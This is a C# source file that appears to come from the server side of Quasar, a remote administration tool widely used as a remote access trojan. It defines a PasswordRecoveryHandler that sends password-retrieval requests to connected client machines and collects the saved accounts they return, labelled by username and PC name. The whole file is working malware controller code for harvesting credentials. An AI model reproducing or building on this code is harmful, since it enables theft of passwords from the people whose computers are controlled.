using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; using System.Collections.Generic; using System.Linq; using xServer.Core.Networking; namespace xServer.Core.Commands { public class PasswordRecoveryHandler : MessageProcessorBase { /// /// The clients which is associated with this password recovery handler. /// private readonly Client[] _clients; /// /// Represents the method that will handle recovered accounts. /// /// The message processor which raised the event. /// A unique client identifier. /// The recovered accounts public delegate void AccountsRecoveredEventHandler(object sender, string clientIdentifier, List accounts); /// /// Raised when accounts got recovered. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event AccountsRecoveredEventHandler AccountsRecovered; /// /// Reports recovered accounts from a client. /// /// The recovered accounts. /// A unique client identifier. private void OnAccountsRecovered(List accounts, string clientIdentifier) { SynchronizationContext.Post(d => { var handler = AccountsRecovered; handler?.Invoke(this, clientIdentifier, (List)d); }, accounts); } /// /// Initializes a new instance of the class using the given clients. /// /// The associated clients. public PasswordRecoveryHandler(Client[] clients) : base(true) { _clients = clients; } /// public override bool CanExecute(IMessage message) => message is GetPasswordsResponse; /// public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender)); /// public override void Execute(ISender sender, IMessage message) { switch (message) { case GetPasswordsResponse pass: Execute(sender, pass); break; } } /// /// Starts the account recovery with the associated clients. /// public void BeginAccountRecovery() { var req = new GetPasswords(); foreach (var client in _clients.Where(client => client != null)) client.Send(req); } private void Execute(ISender client, GetPasswordsResponse message) { Client c = (Client) client; string userAtPc = $"{c.Value.Username}@{c.Value.PCName}"; OnAccountsRecovered(message.RecoveredAccounts, userAtPc); } protected override void Dispose(bool disposing) { } } }